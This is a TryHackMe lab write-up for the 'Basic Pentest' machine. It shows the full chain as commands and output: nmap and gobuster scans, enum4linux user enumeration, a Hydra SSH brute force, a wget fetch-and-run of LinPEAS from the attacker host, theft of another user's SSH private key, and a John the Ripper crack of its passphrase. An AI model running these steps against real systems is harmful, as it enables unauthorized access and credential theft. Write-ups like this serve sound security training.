TryHackMe Write-Up

Basic Pentest

Machine IP: 10.48.154.155

Field	Details
Platform	TryHackMe
Machine Name	Basic Pentest
Machine IP	10.48.154.155
Difficulty	Easy
Category	Penetration Testing

Step 1 — Scanning

Perform a network scan on the target to identify open ports, services, and their versions.

Command Used

```
nmap -sV -sC 10.48.154.155
```

Flags Explained

- -sV → Detect service/version info on open ports
- -sC → Run default Nmap scripts for additional details

```
└─$ nmap -sV -sC -oN 10.48.190.133
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-21 10:54 +0530
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.10 seconds

┌──(kali㉿kali)-[~/basicpentest]
└─$ nmap -sV -sC  10.48.190.133
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-21 10:54 +0530
Nmap scan report for 10.48.190.133
Host is up (0.038s latency).
Not shown: 964 closed tcp ports (reset), 32 filtered tcp ports (no-response)
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 c3:69:7f:7c:a6:bf:ac:c6:68:75:13:b9:9c:99:f1:0a (RSA)
|   256 b9:51:f0:38:6b:29:c8:69:d3:1e:9f:da:a7:e8:49:3b (ECDSA)
|_  256 16:3f:f9:6e:d5:85:19:00:66:a5:41:a8:0c:69:5a:14 (ED25519)
80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.41 (Ubuntu)
139/tcp open  netbios-ssn Samba smbd 4
445/tcp open  netbios-ssn Samba smbd 4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2026-04-21T05:25:02
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.02 seconds
```

Step 2 — Finding Hidden Directory

Use Gobuster to brute-force directories on the web server and discover hidden paths.

Tool Used

- Gobuster — Directory brute-force tool

Finding

- Discovered hidden directory: /development

```
└─$ gobuster dir -u http://10.48.190.133/ -w /usr/share/wordlists/dirb/big.txt
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.48.190.133/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.htpasswd            (Status: 403) [Size: 278]
.htaccess            (Status: 403) [Size: 278]
development          (Status: 301) [Size: 320] [--> http://10.48.190.133/development/]
server-status        (Status: 403) [Size: 278]
Progress: 20469 / 20469 (100.00%)
===============================================================
Finished
===============================================================
```

Step 3 — Enumerating Users

Use enum4linux to enumerate information from the SMB/Samba service and extract valid usernames.

Tool Used

Enum4linux is a PERL-based, automated enumeration tool designed for gathering information from Windows and Samba systems over SMB protocols. It acts as a wrapper around Samba tools (`smbclient` , `rpclient` , `net` , `nmblookup`), making it popular in penetration testing for extracting user lists, shares, group memberships, password policies, and OS information. GitHub +3

numeration tool

Finding

- Found a valid username from the enumeration output

```
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''

S-1-22-1-1000 Unix User\kay (Local User)
S-1-22-1-1001 Unix User\jan (Local User)
S-1-22-1-1002 Unix User\ubuntu (Local User)
```

Step 4 — Brute Forcing Credentials

With the discovered username, use Hydra to brute-force the SSH password using rockyou.txt wordlist.

Tool Used

- Hydra — Network login brute-forcer

Wordlist

- rockyou.txt (/usr/share/wordlists/rockyou.txt)

Command Example

```
hydra -l <username> -P /usr/share/wordlists/rockyou.txt
ssh://10.48.154.155
```

```
└─$ hydra -t 64 -R -l jan -P /usr/share/wordlists/rockyou.txt ssh://10.48.154.155
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

[INFORMATION] reading restore file ./hydra.restore
[WARNING] options after -R are now honored (since v8.6)
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-21 13:11:32
[DATA] max 16 tasks per 1 server, overall 16 tasks, 3559 login tries (l:1/p:3559), ~223 tries per task
[DATA] attacking ssh://10.48.154.155:22/
[STATUS] 1129.00 tries/min, 1129 tries in 00:01h, 2439 to do in 00:03h, 7 active
[STATUS] 611.50 tries/min, 1223 tries in 00:02h, 2345 to do in 00:04h, 7 active
[STATUS] 361.00 tries/min, 1444 tries in 00:04h, 2124 to do in 00:06h, 7 active
[STATUS] 231.75 tries/min, 1854 tries in 00:08h, 1714 to do in 00:08h, 7 active
[22][ssh] host: 10.48.154.155   login: jan   password: armando
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 4 final worker threads did not complete until end.
[ERROR] 4 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-04-21 13:24:08
```

Step 5 — SSH Login

Using the cracked credentials from Hydra, log in to the machine via SSH.

Command Used

```
ssh <username>@10.48.154.155
```

```
┌──(kali㉿kali)-[~/basicpentest]
└─$ ssh jan@10.48.154.155
The authenticity of host '10.48.154.155 (10.48.154.155)' can't be established.
ED25519 key fingerprint is: SHA256:gibnvhtCxMJjeD+h9lrHEEe/VtvIagUgSMZBiRinBLo
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.48.154.155' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
jan@10.48.154.155's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-139-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Tue 21 Apr 2026 03:55:49 AM EDT

  System load:  0.01               Processes:             106
  Usage of /:   50.6% of 13.62GB   Users logged in:       0
  Memory usage: 54%                IPv4 address for eth0: 10.48.154.155
  Swap usage:   0%

Expanded Security Maintenance for Infrastructure is not enabled.

0 updates can be applied immediately.

Enable ESM Infra to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
```

Step 6 — Privilege Escalation

After initial access, attempt privilege escalation to get higher-privileged user access. Multiple manual techniques were tried before using LinPEAS.

Tool — LinPEAS

- LinPEAS — Linux Privilege Escalation Awesome Script
- Automatically finds potential privilege escalation paths on the system

Transfer LinPEAS to Target

On attacker machine — start a Python HTTP server:

```
python3 -m http.server 8000
```

On target machine — download LinPEAS to /dev/shm/ (in-memory temp directory):

```
cd /dev/shm && wget http://<attacker-ip>:8000/linpeas.sh
chmod +x linpeas.sh && ./linpeas.sh
```

Finding — SSH Key for 'kay' User

- LinPEAS found an SSH private key belonging to the user 'kay'
- Copied the private key (id_rsa) back to the attacker machine

```
└─$ python3 -m http.server 6969
Serving HTTP on 0.0.0.0 port 6969 (http://0.0.0.0:6969/) ...
10.48.154.155 - - [21/Apr/2026 13:45:11] "GET /linpeas.sh HTTP/1.1" 200 -
```

```
jan@ip-10-48-154-155:/dev/shm$ wget http://192.168.226.89/linpeas.sh
--2026-04-21 04:14:49--  http://192.168.226.89/linpeas.sh
Connecting to 192.168.226.89:80... connected.
HTTP request sent, awaiting response... 404 Not Found
2026-04-21 04:14:49 ERROR 404: Not Found.

jan@ip-10-48-154-155:/dev/shm$ wget http://192.168.226.89:6969/linpeas.sh
--2026-04-21 04:15:10--  http://192.168.226.89:6969/linpeas.sh
Connecting to 192.168.226.89:6969... connected.
HTTP request sent, awaiting response... 200 OK
Length: 989760 (967K) [application/x-sh]
Saving to: 'linpeas.sh'
```

After successfully iniating the linpeas I have found the another user rsa_id

```
jan@ip-10-48-154-155:/home/kay$ ls -la
total 48
drwxr-xr-x 5 kay  kay  4096 Apr 23  2018 .
drwxr-xr-x 5 root root 4096 Apr 21 03:13 ..
-rw------- 1 kay  kay   789 Jun 22  2025 .bash_history
-rw-r--r-- 1 kay  kay   220 Apr 17  2018 .bash_logout
-rw-r--r-- 1 kay  kay  3771 Apr 17  2018 .bashrc
drwx------ 2 kay  kay  4096 Apr 17  2018 .cache
-rw------- 1 root kay   119 Apr 23  2018 .lesshst
drwxrwxr-x 2 kay  kay  4096 Apr 23  2018 .nano
-rw------- 1 kay  kay    57 Apr 23  2018 pass.bak
-rw-r--r-- 1 kay  kay   655 Apr 17  2018 .profile
drwxr-xr-x 2 kay  kay  4096 Apr 23  2018 .ssh
-rw-r--r-- 1 kay  kay     0 Apr 17  2018 .sudo_as_admin_successful
-rw------- 1 root kay   538 Apr 23  2018 .viminfo
jan@ip-10-48-154-155:/home/kay$ cd .ssh/
jan@ip-10-48-154-155:/home/kay/.ssh$ ls
authorized_keys  id_rsa  id_rsa.pub
jan@ip-10-48-154-155:/home/kay/.ssh$ cat id_rsa
```

Cracking the SSH Key Passphrase

Convert the private key to a hash that John the Ripper can crack:

```
/usr/share/john/ssh2john.py id_rsa > sshhash.txt
```

Crack the hash using rockyou.txt:

```
john --wordlist=/usr/share/wordlists/rockyou.txt sshhash.txt
```

```
┌──(kali㉿kali)-[~/basicpentest]
└─$ /usr/share/john/ssh2john.py kay_id_rsa > sshhash.txt


┌──(kali㉿kali)-[~/basicpentest]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt sshhash.txt

Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
beeswax          (kay_id_rsa)
1g 0:00:00:00 DONE (2026-04-21 14:03) 50.00g/s 4137Kp/s 4137Kc/s 4137KC/s behlat..bammer
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Step 7 — Final Access and Flag

Log into the machine as the 'kay' user with the cracked passphrase, then retrieve the final password from pass.bak.

Login as 'kay'

```
ssh -i id_rsa kay@10.48.154.155
```

Retrieve the Flag

- Final password is stored inside the file: pass.bak

```
cat pass.bak
```

```
kay@ip-10-48-154-155:~$ cta pass.bak

Command 'cta' not found, did you mean:

  command 'sta' from deb opensta (0~20191111gitc018cb2+dfsg-1build1)
  command 'cat' from deb coreutils (8.30-3ubuntu2)
  command 'ctr' from deb containerd (1.7.24-0ubuntu1~20.04.2)
  command 'cba' from deb cba (0.3.6-5build1)

Try: sudo apt install <deb name>

kay@ip-10-48-154-155:~$ cat pass.bak
heresareallystrongpasswordthatfollowsthepasswordpolicy$$
kay@ip-10-48-154-155:~$ heresareallystrongpasswordthatfollowsthepasswordpolicy$$Connection to 10.48.154.155 closed by remote host.
Connection to 10.48.154.155 closed.
```

Summary

Overview of all steps taken to complete the Basic Pentest machine:

Step	Action	Tool / Result
1	Scanning	nmap -sV -sC
2	Hidden Directory	Gobuster → /development
3	User Enumeration	enum4linux → found username
4	Brute Force SSH	Hydra + rockyou.txt
5	SSH Login	Initial foothold gained
6	Privilege Escalation	LinPEAS → SSH key → John the Ripper
7	Final Flag	Login as kay → cat pass.bak